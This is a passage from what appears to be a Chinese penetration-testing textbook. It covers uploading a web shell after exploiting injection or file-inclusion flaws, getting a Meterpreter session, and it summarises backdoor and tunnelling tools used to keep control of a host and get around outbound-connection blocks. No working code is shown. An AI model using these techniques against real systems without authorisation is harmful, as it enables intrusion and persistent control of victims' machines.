在利用注入或者远程文件包含漏洞等Web 漏洞之后,把Web shell 上传到目标服务器。此后,您就可以通过Web浏览器访问shell(见图11.31)。

figure_0345_0173

图11.31

在运行Kali的测试主机上,Metasploit程序将会显示Meterpreter会话(见图11.32)。

figure_0345_0174

图11.32

此时,您就可以使用sysinfo和getuid之类的Meterpreter指令。

11.4 本章总结

本章通过cymothoa、intersect、metsvc工具的有关介绍,讲解了后门程序的具体应用。后门是维持对目标主机控制权的有效手段。

接下来,本章介绍了隧道工具。隧道工具可以用某种协议封装另一种协议,以绕过目标系统上的屏蔽对外连接的限制机制。相关篇幅介绍了dns2tcp、iodine、ncat、proxychains、ptunnel、socat、sslh和stunnel4的使用方法。

最后,本章简要介绍了制作Web shell 的Web 后门工具。把Web shell 上传到目标服务器之后,我们就可以连接到后门程序。

下一章将会讲解整理文档、书写报告,以及向客户讲解在渗透测试中发现的安全隐患的有关方法。